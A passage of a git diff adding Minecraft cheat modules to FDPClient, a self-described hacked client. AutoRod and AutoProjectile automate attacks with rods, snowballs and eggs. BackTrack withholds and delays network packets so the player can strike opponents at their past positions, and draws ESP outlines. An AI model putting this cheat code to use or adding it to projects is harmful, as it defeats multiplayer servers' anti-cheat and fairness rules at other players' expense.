"AutoProjectile", description = "", category = ModuleCategory.COMBAT) +object AutoProjectile : Module() { + private val facingEnemy = BoolValue("FacingEnemy", true) + + private val mode = ListValue("Mode", arrayOf("Normal", "Smart"), "Normal") + private val range = FloatValue("Range", 8F, 1F,20F) + private val throwDelay = IntegerValue("ThrowDelay", 1000, 50,2000).displayable { mode.get() != "Smart" } + + private val minThrowDelay: IntegerValue = object : IntegerValue("MinThrowDelay", 1000, 50,2000) { + fun isSupported() = mode.get() == "Smart" + override fun onChange(oldValue: Int, newValue: Int) { + val v = maxThrowDelay.get() + if (v < newValue) set(v) + } + } + + private val maxThrowDelay: IntegerValue = object : IntegerValue("MaxThrowDelay", 1500, 50,2000) { + fun isSupported() = mode.get() == "Smart" + override fun onChange(oldValue: Int, newValue: Int) { + val v = minThrowDelay.get() + if (v > newValue) set(v) + } + } + + private val switchBackDelay = IntegerValue("SwitchBackDelay", 500, 50,2000) + + private val throwTimer = MSTimer() + private val projectilePullTimer = MSTimer() + + private var projectileInUse = false + private var switchBack = -1 + + @EventTarget + fun onUpdate(event: UpdateEvent) { + val usingProjectile = (mc.thePlayer.isUsingItem && (mc.thePlayer.heldItem?.item == snowball || mc.thePlayer.heldItem?.item == egg)) || projectileInUse + + if (usingProjectile) { + if (projectilePullTimer.hasTimePassed(switchBackDelay.get().toLong())) { + if (switchBack != -1 && mc.thePlayer.inventory.currentItem != switchBack) { + mc.thePlayer.inventory.currentItem = switchBack + + mc.playerController.updateController() + } else { + mc.thePlayer.stopUsingItem() + } + + switchBack = -1 + projectileInUse = false + + throwTimer.reset() + } + } else { + var throwProjectile = false + + if (facingEnemy.get()) { + var facingEntity = mc.objectMouseOver?.entityHit + + if (facingEntity == null) { + facingEntity = raycastEntity(range.get().toDouble()) { isSelected(it, true) } + } + + if (isSelected(facingEntity!!, true)) { + throwProjectile = true + } + } else { + throwProjectile = true + } + + if (throwProjectile) { + if (mode.get() == "Normal" && throwTimer.hasTimePassed(throwDelay.get().toLong())) { + if (mc.thePlayer.heldItem?.item != snowball && mc.thePlayer.heldItem?.item != egg) { + val projectile = findProjectile(36, 45) + + if (projectile == -1) { + return + } + + switchBack = mc.thePlayer.inventory.currentItem + + mc.thePlayer.inventory.currentItem = projectile - 36 + mc.playerController.updateController() + } + + throwProjectile() + } + + val randomThrowDelay = RandomUtils.nextInt(minThrowDelay.get(), maxThrowDelay.get()) + if (mode.get() == "Smart" && throwTimer.hasTimePassed(randomThrowDelay.toLong())) { + if (mc.thePlayer.heldItem?.item != snowball && mc.thePlayer.heldItem?.item != egg) { + val projectile = findProjectile(36, 45) + + if (projectile == -1) { + return + } + + switchBack = mc.thePlayer.inventory.currentItem + + mc.thePlayer.inventory.currentItem = projectile - 36 + mc.playerController.updateController() + } + + throwProjectile() + } + } + } + } + + /** + * Throw projectile (snowball/egg) + */ + private fun throwProjectile() { + val projectile = findProjectile(36, 45) + + mc.thePlayer.inventory.currentItem = projectile - 36 + + mc.playerController.sendUseItem(mc.thePlayer, mc.theWorld, mc.thePlayer.inventoryContainer.getSlot(projectile).stack) + + projectileInUse = true + projectilePullTimer.reset() + } + + /** + * Find projectile (snowball/egg) in inventory + */ + private fun findProjectile(startSlot: Int, endSlot: Int): Int { + for (i in startSlot until endSlot) { + val stack = mc.thePlayer?.inventoryContainer?.getSlot(i)?.stack + if (stack != null) { + if (stack.item == snowball || stack.item == egg) { + return i + } + } + } + return -1 + } + + /** + * Reset everything when disabled + */ + override fun onDisable() { + throwTimer.reset() + projectilePullTimer.reset() + projectileInUse = false + switchBack = -1 + } + + /** + * HUD Tag + */ + override val tag: String + get() = mode.get() +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/AutoRod.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/AutoRod.kt new file mode 100644 index 0000000..73ef2d3 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/AutoRod.kt @@ -0,0 +1,175 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.combat + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.* +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.utils.EntityUtils.getHealth +import net.ccbluex.liquidbounce.utils.EntityUtils.isSelected +import net.ccbluex.liquidbounce.utils.RaycastUtils +import net.ccbluex.liquidbounce.utils.extensions.getDistanceToEntityBox +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.minecraft.entity.Entity +import net.minecraft.entity.EntityLivingBase +import net.minecraft.init.Items + +@ModuleInfo(name = "AutoRod", category = ModuleCategory.COMBAT) +object AutoRod : Module() { + + private val facingEnemy = BoolValue("FacingEnemy", true) + + private val ignoreOnEnemyLowHealth = BoolValue("IgnoreOnEnemyLowHealth", true).displayable { facingEnemy.get() } + private val healthFromScoreboard = BoolValue("HealthFromScoreboard", false).displayable { facingEnemy.get() && ignoreOnEnemyLowHealth.get() } + private val absorption = BoolValue("Absorption", false).displayable { facingEnemy.get() && ignoreOnEnemyLowHealth.get() } + + private val activationDistance = FloatValue("ActivationDistance", 8f, 1f,20f) + private val enemiesNearby = IntegerValue("EnemiesNearby", 1, 1,5) + + // Improve health check customization + private val playerHealthThreshold = IntegerValue("PlayerHealthThreshold", 5, 1,20) + private val enemyHealthThreshold = IntegerValue("EnemyHealthThreshold", 5, 1,20).displayable { facingEnemy.get() && ignoreOnEnemyLowHealth.get() } + private val escapeHealthThreshold = IntegerValue("EscapeHealthThreshold", 10, 1,20) + + private val pushDelay = IntegerValue("PushDelay", 100, 50,1000) + private val pullbackDelay = IntegerValue("PullbackDelay", 500, 50,1000) + + private val onUsingItem = BoolValue("OnUsingItem", false) + + private val pushTimer = MSTimer() + private val rodPullTimer = MSTimer() + + private var rodInUse = false + private var switchBack = -1 + + @EventTarget + fun onUpdate(event: UpdateEvent) { + // Check if player is using rod + val usingRod = (mc.thePlayer.isUsingItem && mc.thePlayer.heldItem?.item == Items.fishing_rod) || rodInUse + + if (usingRod) { + // Check if rod pull timer has reached delay + // mc.thePlayer.fishEntity?.caughtEntity != null is always null + + if (rodPullTimer.hasTimePassed(pullbackDelay.get().toLong())) { + if (switchBack != -1 && mc.thePlayer.inventory.currentItem != switchBack) { + // Switch back to previous item + mc.thePlayer.inventory.currentItem = switchBack + mc.playerController.updateController() + } else { + // Stop using rod + mc.thePlayer.stopUsingItem() + } + + switchBack = -1 + rodInUse = false + + // Reset push timer. Push will always wait for pullback delay. + pushTimer.reset() + } + } else { + var rod = false + + if (facingEnemy.get() && getHealth(mc.thePlayer, healthFromScoreboard.get(), absorption.get()) >= playerHealthThreshold.get()) { + var facingEntity = mc.objectMouseOver?.entityHit + val nearbyEnemies = getAllNearbyEnemies() + + if (facingEntity == null) { + // Check if player is looking at enemy. + facingEntity = RaycastUtils.raycastEntity(activationDistance.get().toDouble()) { isSelected(it, true) } + } + + // Check whether player is using items/blocking. + if (!onUsingItem.get()) { + if (mc.thePlayer?.itemInUse?.item != Items.fishing_rod && (mc.thePlayer?.isUsingItem == true || KillAura.blockingStatus)) { + return + } + } + + if (isSelected(facingEntity!!, true)) { + // Checks how many enemy is nearby, if <= then should rod. + if (nearbyEnemies?.size!! <= enemiesNearby.get()) { + + // Check if the enemy's health is below the threshold. + if (ignoreOnEnemyLowHealth.get()) { + if (getHealth(facingEntity as EntityLivingBase, healthFromScoreboard.get(), absorption.get()) >= enemyHealthThreshold.get()) { + rod = true + } + } else { + rod = true + } + } + } + } else if (getHealth(mc.thePlayer, healthFromScoreboard.get(), absorption.get()) <= escapeHealthThreshold.get()) { + // use rod for escaping when health is low. + rod = true + } else if (!facingEnemy.get()) { + // Rod anyway, spam it. + rod = true + } + + if (rod && pushTimer.hasTimePassed(pushDelay.get().toLong())) { + // Check if player has rod in hand + if (mc.thePlayer.heldItem?.item != Items.fishing_rod) { + // Check if player has rod in hotbar + val rod = findRod(36, 45) + + if (rod == -1) { + // There is no rod in hotbar + return + } + + // Switch to rod + switchBack = mc.thePlayer.inventory.currentItem + + mc.thePlayer.inventory.currentItem = rod - 36 + mc.playerController.updateController() + } + + rod() + } + } + } + + /** + * Use rod + */ + private fun rod() { + val rod = findRod(36, 45) + + mc.thePlayer.inventory.currentItem = rod - 36 + // We do not need to send our own packet, because sendUseItem will handle it for us. + mc.playerController.sendUseItem(mc.thePlayer, mc.theWorld, mc.thePlayer.inventoryContainer.getSlot(rod).stack) + + rodInUse = true + rodPullTimer.reset() + } + + /** + * Find rod in inventory + */ + private fun findRod(startSlot: Int, endSlot: Int): Int { + for (i in startSlot until endSlot) { + val stack = mc.thePlayer.inventoryContainer.getSlot(i).stack + if (stack != null && stack.item === Items.fishing_rod) { + return i + } + } + return -1 + } + + private fun getAllNearbyEnemies(): List<Entity>? { + val player = mc.thePlayer ?: return null + + return mc.theWorld.loadedEntityList.toList() + .filter { isSelected(it, true) } + .filter { player.getDistanceToEntityBox(it) < activationDistance.get() } + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/BackTrack.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/BackTrack.kt new file mode 100644 index 0000000..a9dca68 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/BackTrack.kt @@ -0,0 +1,602 @@ +//from kevin client +package net.ccbluex.liquidbounce.features.module.modules.combat + +import kevin.utils.expands +import kevin.utils.multiply +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType +import net.ccbluex.liquidbounce.utils.EntityUtils +import net.ccbluex.liquidbounce.utils.EntityUtils.getLookDistanceToEntityBox +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.utils.PacketUtils.packets +import net.ccbluex.liquidbounce.utils.PlayerUtils.getLookingTargetRange +import net.ccbluex.liquidbounce.utils.PlayerUtils.getPing +import net.ccbluex.liquidbounce.utils.Rotation +import net.ccbluex.liquidbounce.utils.extensions.* +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.minecraft.client.entity.EntityOtherPlayerMP +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.entity.Entity +import net.minecraft.entity.EntityLivingBase +import net.minecraft.entity.player.EntityPlayer +import net.minecraft.network.Packet +import net.minecraft.network.ThreadQuickExitException +import net.minecraft.network.play.INetHandlerPlayClient +import net.minecraft.network.play.INetHandlerPlayServer +import net.minecraft.network.play.client.C02PacketUseEntity +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.server.* +import net.minecraft.util.AxisAlignedBB +import net.minecraft.util.Vec3 +import org.lwjgl.opengl.GL11.* +import java.awt.Color +import java.util.* +import kotlin.math.abs +import kotlin.math.ceil +import kotlin.math.max + + +@ModuleInfo(name = "BackTrack", description = "Lets you attack people in their previous locations.", category = ModuleCategory.COMBAT) +class BackTrack : Module() { + + private val mode = ListValue("Mode", arrayOf("Legacy", "Smooth"), "Legacy") + private val minDistance: FloatValue = object : FloatValue("MinDistance", 2.9f, 1f, 4f) { + override fun onChanged(oldValue: Float, newValue: Float) { + if (newValue > maxStartDistance.get()) set(maxStartDistance.get()) + } + } + private val maxStartDistance : FloatValue = object : FloatValue("MaxStartDistance", 3.2f, 2f, 4f) { + override fun onChanged(oldValue: Float, newValue: Float) { + if (newValue < minDistance.get()) set(minDistance.get()) + else if (newValue > maxDistance.get()) set(maxDistance.get()) + } + } + private val maxDistance: FloatValue = object : FloatValue("MaxActiveDistance", 5f, 2f, 6f) { + override fun onChanged(oldValue: Float, newValue: Float) { + if (newValue < maxStartDistance.get()) set(maxStartDistance.get()) + } + } + private val minTime : IntegerValue = object : IntegerValue("MinTime", 100, 0, 500) { + override fun onChanged(oldValue: Int, newValue: Int) { + if (newValue > maxTime.get()) set(maxTime.get()) + } + } + private val maxTime : IntegerValue = object : IntegerValue("MaxTime", 200, 0, 1000) { + override fun onChanged(oldValue: Int, newValue: Int) { + if (newValue < minTime.get()) set(minTime.get()) + } + } + private val smartPacket = BoolValue("Smart", true) + private val maxHurtTime = IntegerValue("MaxHurtTime", 6, 0, 10) + private val hurtTimeWithPing = BoolValue("CalculateHurtTimeWithPing", true) + private val minAttackReleaseRange = FloatValue("MinAttackReleaseRange", 3.2F, 2f, 6f) + + private val onlyKillAura = BoolValue("OnlyKillAura", true) + private val onlyPlayer = BoolValue("OnlyPlayer", true) + private val resetOnVelocity = BoolValue("ResetOnVelocity", true) + private val resetOnLagging = BoolValue("ResetOnLagging", true) + private val setPosOnStop = BoolValue("SetPositionOnStop", false) + private val rangeCheckMode = ListValue("RangeCheckMode", arrayOf("RayCast", "DirectDistance"), "DirectDistance") + + private val reverse = BoolValue("Reverse", false) + private val reverseRange : FloatValue = object : FloatValue("ReverseStartRange", 5f, 1f, 6f) { + override fun onChanged(oldValue: Float, newValue: Float) { + //newValue.coerceAtMost(reverseMaxRange.get()) + if (newValue > reverseMaxRange.get()) set(reverseMaxRange.get()) + } + } + + private val reverseMaxRange : FloatValue = object : FloatValue("ReverseMaxRange", 6f, 1f, 6f) { + override fun onChanged(oldValue: Float, newValue: Float) { + //(newValue.coerceAtLeast(reverseRange.get())) + if (newValue < reverseRange.get()) set(reverseRange.get()) + } + } + private val reverseSelfMaxHurtTime = IntegerValue("ReverseSelfMaxHurtTime", 1, 0, 10) + private val reverseTargetMaxHurtTime = IntegerValue("ReverseTargetMaxHurtTime", 10, 0, 10) + private val maxReverseTime = IntegerValue("MaxReverseTime", 100, 1, 500) + + private val espMode = ListValue("ESPMode", arrayOf("FullBox", "OutlineBox", "NormalBox", "OtherOutlineBox", "OtherFullBox", "Model", "None"), "Box") + + private val espRed = IntegerValue("EspRed", 32, 0,255) + private val espGreen = IntegerValue("EspGreen", 255, 0,255) + private val espBlue = IntegerValue("EspBlue", 32, 0,255) + private val espAlpha = IntegerValue("EspAlpha", 35, 0,255) + private val outlineRed = IntegerValue("OutlineRed", 32, 0,255) + private val outlineGreen = IntegerValue("OutlineGreen", 200, 0,255) + private val outlineBlue = IntegerValue("OutlineBlue", 32, 0,255) + private val outlineAlpha = IntegerValue("OutlineAlpha", 255, 0,255) + private val alwaysRenderESP = BoolValue("AlwaysRenderESP", false) + + private val storagePackets = ArrayList<ServerPacketStorage>() + private val storageSendPackets = ArrayList<Packet<INetHandlerPlayServer>>() + private val storageEntities = ArrayList<Entity>() + + private val storageEntityMove = LinkedList<EntityPacketLoc>() + + private val killAura: KillAura? = FDPClient.moduleManager.getModule(KillAura::class.java) + // private var currentTarget : EntityLivingBase? = null + private var timer = MSTimer() + private val reverseTimer = MSTimer() + private var hasAttackInReversing = false + private var lastPosition = Vec3(0.0, 0.0, 0.0) + private var attacked : Entity? = null + + private var smoothPointer = System.nanoTime() + private var needFreeze = false + private var reversing = false + + // @EventTarget + // for safety, see in met.minecraft.network.NetworkManager + fun onPacket(event: PacketEvent) { + mc.thePlayer ?: return + val packet = event.packet + val theWorld = mc.theWorld!! + if (packet.javaClass.name.contains("net.minecraft.network.play.server.", true)) { + val storage = ServerPacketStorage(packet as Packet<INetHandlerPlayClient>) + if (packet is S14PacketEntity) { + val entity = packet.getEntity(theWorld)?: return + if (entity !is EntityLivingBase) return + if (onlyPlayer.get() && entity !is EntityPlayer) return + entity.serverPosX += packet.func_149062_c().toInt() + entity.serverPosY += packet.func_149061_d().toInt() + entity.serverPosZ += packet.func_149064_e().toInt() + val x = entity.serverPosX.toDouble() / 32.0 + val y = entity.serverPosY.toDouble() / 32.0 + val z = entity.serverPosZ.toDouble() / 32.0 + if ((!onlyKillAura.get() || killAura!!.state || needFreeze) && EntityUtils.isSelected(entity, true)) { + val afterBB = AxisAlignedBB(x - 0.4F, y - 0.1F, z - 0.4F, x + 0.4F, y + 1.9F, z + 0.4F) + var afterRange: Double + var beforeRange: Double + if (rangeCheckMode .get() == "RayCast") { + afterRange = afterBB.getLookingTargetRange(mc.thePlayer!!) + beforeRange = mc.thePlayer.getLookDistanceToEntityBox(entity) + if (afterRange == Double.MAX_VALUE) { + val eyes = mc.thePlayer!!.getPositionEyes(1F) + afterRange = getNearestPointBB(eyes, afterBB).distanceTo(eyes) + 0.075 + } + if (beforeRange == Double.MAX_VALUE) beforeRange = mc.thePlayer!!.getDistanceToEntityBox(entity) + 0.075 + } else { + val eyes = mc.thePlayer!!.getPositionEyes(1F) + afterRange = getNearestPointBB(eyes, afterBB).distanceTo(eyes) + beforeRange = mc.thePlayer!!.getDistanceToEntityBox(entity) + } + + if (beforeRange <= maxStartDistance.get()) { + if (afterRange in minDistance.get()..maxDistance.get() && (!smartPacket.get() || afterRange > beforeRange + 0.02) && entity.hurtTime <= calculatedMaxHurtTime) { + if (!needFreeze) { + timer.reset() + needFreeze = true + smoothPointer = System.nanoTime() + stopReverse() + } + if (!storageEntities.contains(entity)) storageEntities.add(entity) + event.cancelEvent() + if (mode.get() == "Smooth") { + storageEntityMove.add(EntityPacketLoc(entity, x, y, z)) + } + return + } + } else { + if (smartPacket.get()) { + if (afterRange < beforeRange) { + if (needFreeze) releasePackets() + } + } + } + } + if (needFreeze) { + if (!storageEntities.contains(entity)) storageEntities.add(entity) + if (mode.get() == "Smooth") { + storageEntityMove.add(EntityPacketLoc(entity, x, y, z)) + } + event.cancelEvent() + return + } + if (!event.isCancelled && !needFreeze) { + FDPClient.eventManager.callEvent(EntityMovementEvent(entity)) + val f = if (packet.func_149060_h()) (packet.func_149066_f() * 360).toFloat() / 256.0f else entity.rotationYaw + val f1 = if (packet.func_149060_h()) (packet.func_149063_g() * 360).toFloat() / 256.0f else entity.rotationPitch + entity.setPositionAndRotation2(x, y, z, f, f1, 3, false) + entity.onGround = packet.onGround + } + event.cancelEvent() + // storageEntities.add(entity) + } else if (packet is S18PacketEntityTeleport) { + val entity = theWorld.getEntityByID(packet.entityId) + if (entity !is EntityLivingBase) return + if (onlyPlayer.get() && entity !is EntityPlayer) return + entity.serverPosX = packet.x + entity.serverPosY = packet.y + entity.serverPosZ = packet.z + val d0 = entity.serverPosX.toDouble() / 32.0 + val d1 = entity.serverPosY.toDouble() / 32.0 + val d2 = entity.serverPosZ.toDouble() / 32.0 + val f: Float = (packet.yaw * 360).toFloat() / 256.0f + val f1: Float = (packet.pitch * 360).toFloat() / 256.0f + if (!needFreeze) { + if (!(abs(entity.posX - d0) >= 0.03125) && !(abs(entity.posY - d1) >= 0.015625) && !(abs(entity.posZ - d2) >= 0.03125)) { + entity.setPositionAndRotation2(entity.posX, entity.posY, entity.posZ, f, f1, 3, true) + } else { + entity.setPositionAndRotation2(d0, d1, d2, f, f1, 3, true) + } + entity.onGround = packet.onGround + } else storageEntityMove.add(EntityPacketLoc(entity, d0, d1, d2)) + event.cancelEvent() + } else { + if ((packet is S12PacketEntityVelocity && resetOnVelocity.get()) || (packet is S08PacketPlayerPosLook && resetOnLagging.get())) { + storagePackets.add(storage) + event.cancelEvent() + releasePackets() + return + } + if (needFreeze && !event.isCancelled) { + if (packet is S19PacketEntityStatus) { + if (packet.opCode == 2.toByte()) return + } + storagePackets.add(storage) + event.cancelEvent() + } + } + } else { + if (reversing) { + event.cancelEvent() + storageSendPackets.add(packet as Packet<INetHandlerPlayServer>) + if (reverseTimer.hasTimePassed(maxReverseTime.get().toLong())) { + stopReverse() + } + } + if (packet is C02PacketUseEntity) { + if (packet.action == C02PacketUseEntity.Action.ATTACK) { + if (needFreeze) attacked = packet.getEntityFromWorld(theWorld) + if (reversing) hasAttackInReversing = true + } + } else if (packet is C03PacketPlayer) { + if (!needFreeze && reverse.get()) { + val vec = Vec3(packet.x, packet.y, packet.z) + FDPClient.combatManager.target?.let { + val loc = Vec3(it.posX, it.posY + it.eyeHeight, it.posZ) + val bp = getNearestPointBB(loc, mc.thePlayer.entityBoundingBox.expand(0.1, 0.1, 0.1)) + val distance = loc.distanceTo(bp) + if (reversing) { + val lastBB = AxisAlignedBB( + lastPosition.xCoord - 0.4f, + lastPosition.yCoord - 0.1f, + lastPosition.zCoord - 0.4f, + lastPosition.xCoord + 0.4f, + lastPosition.yCoord + 1.9f, + lastPosition.zCoord + 0.4f + ) + val d = getNearestPointBB(loc, lastBB).distanceTo(loc) + if (distance > d || distance > reverseMaxRange.get() || (it.hurtTime <= (1 + (mc.thePlayer.getPing() / 50.0).toInt()) && hasAttackInReversing)) { + stopReverse() + } else { + val rot = (if (it is EntityOtherPlayerMP) Rotation(it.otherPlayerMPYaw.toFloat(), it.otherPlayerMPPitch.toFloat()) else Rotation(it.rotationYaw, it.rotationPitch)).toDirection().multiply(4.0).add(loc) + val movingObjectPosition = lastBB.calculateIntercept(loc, rot) ?: return@let + val m2 = mc.thePlayer.entityBoundingBox.expand(0.11, 0.1, 0.11).calculateIntercept(loc, rot) + if (movingObjectPosition.hitVec != null) { + val d2 = movingObjectPosition.hitVec.distanceTo(loc) + if (d2 <= 3.0 && (m2?.hitVec == null || m2.hitVec.distanceTo(loc) > d2)) stopReverse() + } + } + } else if (distance <= reverseRange.get() && + it.hurtTime <= reverseTargetMaxHurtTime.get() && mc.thePlayer.hurtTime <= reverseSelfMaxHurtTime.get() && + loc.distanceTo(bp) >= distance && (!onlyKillAura.get() || killAura!!.state)) { + reversing = true + lastPosition = vec + hasAttackInReversing = false + reverseTimer.reset() + } + } + } + } + } + } + + @EventTarget fun onMotion(event: MotionEvent) { + if (event.eventState == EventState.PRE) return + if (needFreeze) { + if (mode.get() == "Legacy") { + if (timer.hasTimePassed(maxTime.get().toLong())) { + releasePackets() + return + } + } else { + doSmoothRelease() + } + if (storageEntities.isNotEmpty()) { + var release = false // for-each + for (entity in storageEntities) { + val x = entity.serverPosX.toDouble() / 32.0 + val y = entity.serverPosY.toDouble() / 32.0 + val z = entity.serverPosZ.toDouble() / 32.0 + val entityBB = AxisAlignedBB(x - 0.4F, y -0.1F, z - 0.4F, x + 0.4F, y + 1.9F, z + 0.4F) + var range = entityBB.getLookingTargetRange(mc.thePlayer!!) + if (range == Double.MAX_VALUE) { + val eyes = mc.thePlayer!!.getPositionEyes(1F) + range = getNearestPointBB(eyes, entityBB).distanceTo(eyes) + 0.075 + } + if (range <= minDistance.get()) { + release = true + break + } + val entity1 = attacked + if (entity1 != entity) continue + if (timer.hasTimePassed(minTime.get().toLong())) { + if (range >= minAttackReleaseRange.get()) { + release = true + break + } + } + } + if (release) releasePackets() + } + } + } + + @EventTarget fun onWorld(event: WorldEvent) { + attacked = null + storageEntities.clear() + if (event.worldClient == null) storagePackets.clear() + } + + @EventTarget fun onRender3D(event: Render3DEvent) { + if (reversing) { + val renderManager = mc.renderManager + + val vec = lastPosition.addVector(-renderManager.renderPosX, -renderManager.renderPosY, -renderManager.renderPosZ) + RenderUtils.drawAxisAlignedBB(AxisAlignedBB(vec.xCoord - 0.4, vec.yCoord + 0.2, vec.zCoord - 0.4, vec.xCoord + 0.4, vec.yCoord, vec.zCoord + 0.4), Color(37, 126, 255, 70)) + } + + if (espMode .get() == "None" || !needFreeze) return + + val entitiesToRender = if (alwaysRenderESP.get()) mc.theWorld.loadedEntityList else storageEntities + if (espMode .get() == "Model") { + glPushMatrix() + glEnable(GL_TEXTURE_2D) + for (entity in entitiesToRender) { + if (entity !is EntityOtherPlayerMP) return + val mp = EntityOtherPlayerMP(mc.theWorld, entity.gameProfile) + mp.posX = entity.serverPosX / 32.0 + mp.posY = entity.serverPosY / 32.0 + mp.posZ = entity.serverPosZ / 32.0 + mp.prevPosX = mp.posX + mp.prevPosY = mp.posY + mp.prevPosZ = mp.posZ + mp.lastTickPosX = mp.posX + mp.lastTickPosY = mp.posY + mp.lastTickPosZ = mp.posZ + mp.rotationYaw = entity.rotationYaw + mp.rotationPitch = entity.rotationPitch + mp.rotationYawHead = entity.rotationYawHead + mp.prevRotationYaw = mp.rotationYaw + mp.prevRotationPitch = mp.rotationPitch + mp.prevRotationYawHead = mp.rotationYawHead + mp.isInvisible = false + mp.swingProgress = entity.swingProgress + mp.swingProgressInt = entity.swingProgressInt + mp.hurtTime = entity.hurtTime + mp.hurtResistantTime = entity.hurtResistantTime + mc.renderManager.renderEntitySimple(mp, event.partialTicks) + } + glDisable(GL_TEXTURE_2D) + GlStateManager.resetColor() + glMatrixMode(GL_MODELVIEW) + glPopMatrix() + return + } + + var outline = false + var filled = false + var other = false + when (espMode.get()) { + "NormalBox" -> { + outline = true + filled = true + } + "FullBox" -> { + filled = true + } + "OtherOutlineBox" -> { + other = true + outline = true + } + "OtherFullBox" -> { + other = true + filled = true + } + else -> { + outline = true + } + } + + // pre draw + glPushMatrix() + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) + glEnable(GL_BLEND) + glDisable(GL_TEXTURE_2D) + glDisable(GL_DEPTH_TEST) + + glDepthMask(false) + + if (outline) { + glLineWidth(1f) + glEnable(GL_LINE_SMOOTH) + } + // drawing + val renderManager = mc.renderManager + for (entity in entitiesToRender) { + val x = entity.serverPosX.toDouble() / 32.0 - renderManager.renderPosX + val y = entity.serverPosY.toDouble() / 32.0 - renderManager.renderPosY + val z = entity.serverPosZ.toDouble() / 32.0 - renderManager.renderPosZ + if (other) { + if (outline) { + RenderUtils.glColor(outlineRed.get(), outlineGreen.get(), outlineBlue.get(), outlineAlpha.get()) + RenderUtils.otherDrawOutlinedBoundingBox(entity.rotationYawHead, x, y, z, entity.width / 2.0 + 0.1, entity.height + 0.1) + } + if (filled) { + RenderUtils.glColor(espRed.get(), espGreen.get(), espBlue.get(), espAlpha.get()) + RenderUtils.otherDrawBoundingBox(entity.rotationYawHead, x, y, z, entity.width / 2.0 + 0.1, entity.height + 0.1) + } + } else { + val bb = AxisAlignedBB(x - 0.4F, y, z - 0.4F, x + 0.4F, y + 1.9F, z + 0.4F) + if (outline) { + RenderUtils.glColor(outlineRed.get(), outlineGreen.get(), outlineBlue.get(), outlineAlpha.get()) + RenderUtils.drawSelectionBoundingBox(bb) + } + if (filled) { + RenderUtils.glColor(espRed.get(), espGreen.get(), espBlue.get(), espAlpha.get()) + RenderUtils.drawFilledBox(bb) + } + } + } + + // post draw + glColor4f(1.0f, 1.0f, 1.0f, 1.0f) + glDepthMask(true) + if (outline) { + glDisable(GL_LINE_SMOOTH) + } + glDisable(GL_BLEND) + glEnable(GL_TEXTURE_2D) + glEnable(GL_DEPTH_TEST) + glPopMatrix() + } + + private fun releasePackets() { + attacked = null + smoothPointer = System.nanoTime() + val netHandler: INetHandlerPlayClient = mc.netHandler + if (storagePackets.isEmpty()) return + while (storagePackets.isNotEmpty()) { + storagePackets.removeAt(0).let{ + val packet = it.packet + try { + val packetEvent = PacketEvent(packet,PacketEvent.Type.SEND) + if (!packets.contains(packet)) FDPClient.eventManager.callEvent(packetEvent) + if (!packetEvent.isCancelled) packet.processPacket(netHandler) + } catch (_: ThreadQuickExitException) { } + } + } + while (storageEntities.isNotEmpty()) { + storageEntities.removeAt(0).let { entity -> + if (!entity.isDead) { + val x = entity.serverPosX.toDouble() / 32.0 + val y = entity.serverPosY.toDouble() / 32.0 + val z = entity.serverPosZ.toDouble() / 32.0 + if (setPosOnStop.get()) entity.setPosition(x, y, z) + } + } + } + storageEntityMove.clear() + needFreeze = false + } + + private fun releasePacket(untilNS: Long) { + val netHandler: INetHandlerPlayClient = mc.netHandler + if (storagePackets.isEmpty()) return + smoothPointer = untilNS + while (storagePackets.isNotEmpty()) { + val it = storagePackets[0] + val packet = it.packet + if (it.time <= untilNS) { + storagePackets.remove(it) + try { + val packetEvent = PacketEvent(packet,PacketEvent.Type.SEND) + if (!packets.contains(packet)) FDPClient.eventManager.callEvent(packetEvent) + if (!packetEvent.isCancelled) packet.processPacket(netHandler) + } catch (_: ThreadQuickExitException) {} + } else { + break + } + } + while (storageEntityMove.isNotEmpty()) { + val first = storageEntityMove.first + if (first.time <= untilNS) { + storageEntityMove.remove(first) + val entity = first.entity + if (entity is EntityOtherPlayerMP) entity.setPositionAndRotation2(first.x, first.y, first.z, entity.otherPlayerMPYaw.toFloat(), entity.otherPlayerMPPitch.toFloat(), 3, true) + else entity.setPositionAndUpdate(first.x, first.y, first.z) + } + else break + } + } + + private fun releaseUntilBefore(ms: Int) = releasePacket(System.nanoTime() - ms * 1000000) + + private fun doSmoothRelease() { + // what I wrote? + val target = KillAura.currentTarget + var found = false + var bestTimeStamp = max(smoothPointer, System.nanoTime() - maxTime.get() * 1000000) + for (it in storageEntityMove) { + if (target == it.entity) { + found = true + val width = it.entity.width / 2.0 + val height = it.entity.height + val bb = AxisAlignedBB(it.x - width, it.y, it.z - width, it.x + width, it.y + height, it.z + width).expands(0.1) + val range = mc.thePlayer.eyes.distanceTo(bb) + if (range < minDistance.get() && range < minDistance.get() || + mc.thePlayer.getPositionEyes(3F).distanceTo(bb) < minDistance.get() - 0.1) { + bestTimeStamp = 